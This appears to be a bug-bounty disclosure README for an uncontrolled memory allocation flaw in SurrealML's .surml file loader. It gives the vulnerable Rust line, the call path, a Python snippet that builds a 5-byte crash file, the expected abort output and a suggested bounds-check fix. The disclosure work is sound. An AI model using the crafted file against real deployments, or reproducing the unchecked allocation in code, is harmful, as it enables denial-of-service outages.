YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
SurrealML β CWE-789 Uncontrolled Memory Allocation
Target
| Field | Value |
|---|---|
| Repository | surrealdb/surrealml |
| Commit | 152ac2d508f1bae9ee62c46b7d211d80e40a6425 (latest) |
| Affected file | modules/core/src/storage/surml_file.rs |
| Vulnerable line | Line 108 β vec![0u8; integer_value as usize] |
| CWE | CWE-789 (Uncontrolled Memory Allocation) |
| CVSS 3.1 | 7.5 High β AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Expected payout | $1,500 |
| Platform | huntr.com β Model File Formats board |
Root Cause
SurMlFile::from_file() reads the first 4 bytes of a .surml file as a u32 (big-endian) and allocates a Vec<u8> of exactly that size β with no upper-bound check. Setting those 4 bytes to 0xFF FF FF FF triggers a ~4 GB allocation attempt.
// surml_file.rs line 108 β VULNERABLE
let mut header_buffer = vec![0u8; integer_value as usize];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// integer_value = attacker-controlled u32 (up to 4 GB)
// NO bounds check before this line
The sibling function from_bytes() has the correct bounds check; from_file() does not.
Trigger Path
malicious.surml (5 bytes: FF FF FF FF 58)
βββΊ SurMlFile.load() surml_file.py:169
βββΊ RustAdapter.load() rust_adapter.py:226
βββΊ load_model() load_model.rs:98 [C FFI]
βββΊ from_file() surml_file.rs:99
βββΊ vec![0u8; 4_294_967_295] β OOM panic / SIGABRT
Reproduction
# Step 1 β Create malicious file (5 bytes)
python3 -c "
import struct
with open('malicious.surml', 'wb') as f:
f.write(struct.pack('>I', 0xFFFFFFFF))
f.write(b'X')
"
# Step 2 β Trigger via standalone Rust reproducer
ulimit -v 524288 && ./surml_poc malicious.surml
Expected output:
[*] Header length field value: 4294967295 bytes (~4.0 GB)
[*] Attempting allocation: vec![0u8; 4294967295]
memory allocation of 4294967295 bytes failed
Aborted (core dumped)
Deliverables
| File | Purpose |
|---|---|
poc_surrealml.py |
Python PoC β creates malicious file, explains attack path |
report.md |
Full huntr-formatted report |
poc-evidence.html |
Self-contained HTML evidence page with terminal output |
README.md |
This file |
Suggested Fix
// Add in from_file() after reading integer_value (surml_file.rs ~line 106):
const MAX_HEADER_BYTES: usize = 64 * 1024 * 1024; // 64 MB
if integer_value as usize > MAX_HEADER_BYTES {
return Err(SurrealError::new(
format!("Header length {} exceeds maximum allowed size", integer_value),
SurrealErrorStatus::BadRequest,
));
}
Eric Gachara Β· huntr.com Β· 2026-05-30
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support